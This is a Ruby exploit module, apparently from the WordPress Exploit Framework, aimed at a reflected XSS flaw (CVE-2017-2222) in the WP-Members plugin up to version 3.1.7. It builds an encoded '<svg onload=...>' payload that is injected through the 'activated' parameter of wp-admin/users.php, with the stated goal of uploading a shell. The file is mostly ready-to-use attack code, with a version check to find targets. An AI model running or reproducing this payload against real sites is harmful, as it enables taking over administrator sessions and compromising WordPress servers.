# frozen_string_literal: true

class Wpxf::Exploit::WpMembersReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'WP-Members <= 3.1.7 Reflected XSS Shell Upload',
      author: [
        'Chris Liu', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8858'],
        ['CVE', '2017-2222'],
        ['URL', 'https://jvn.jp/en/jp/JVN51355647/index.html']
      ],
      date: 'Jul 13 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-members', '3.1.8')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'users.php')
  end

  def url_payload
    url_encode("<svg onload=#{xss_ascii_encoded_include_script}>")
  end

  def url_with_xss
    "#{vulnerable_url}?activated=#{url_payload}"
  end
end
